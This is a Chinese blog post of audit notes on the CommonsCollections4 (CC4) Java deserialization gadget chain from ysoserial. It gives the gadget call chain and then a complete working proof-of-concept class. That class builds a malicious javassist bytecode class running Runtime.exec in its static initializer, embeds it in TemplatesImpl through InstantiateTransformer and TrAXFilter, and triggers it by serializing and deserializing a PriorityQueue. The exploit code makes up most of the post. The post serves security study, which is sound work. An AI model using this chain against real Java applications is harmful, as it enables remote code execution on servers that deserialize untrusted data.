Loading

java-CC4 链审计笔记

java-CC4 链审计笔记

调用链

来自ysoserial

/*
 * Variation on CommonsCollections2 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */

是CC2的变种 ,其实就和我们的CC1=>CC3 是一样的,就不在赘述了

InstantiateTransformer.transform 具有类实例化的能力,也是利用 TrAXFilter 类和 TemplatesImpl 类做的恶意类加载

	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						ChainedTransformer.transform()
							InstantiateTransformer.transform()
								TrAXFilter#TrAXFilter
									TemplatesImpl.newTransformer()
								Runtime.exec()

POC

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
    public static byte[] getEvilBytes() throws Exception {
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.makeClass("evil");
        evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        evil.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
        return evil.toBytecode();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) {
        try {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            byte[] bytes = getEvilBytes();
            // 构造 TemplatesImpl 对象
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name","evil");
            setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            TransformingComparator comparator = new TransformingComparator(chainedTransformer,null);
            PriorityQueue priorityQueue = new PriorityQueue(1, comparator);
            setFieldValue(priorityQueue,"size",2);
            setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
            // 序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
            objectOutputStream.writeObject(priorityQueue);
            // 反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(bais);
            objectInputStream.readObject();
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20250406214206484

posted @ 2025-04-06 21:41  LingX5  阅读(13)  评论(0)    收藏  举报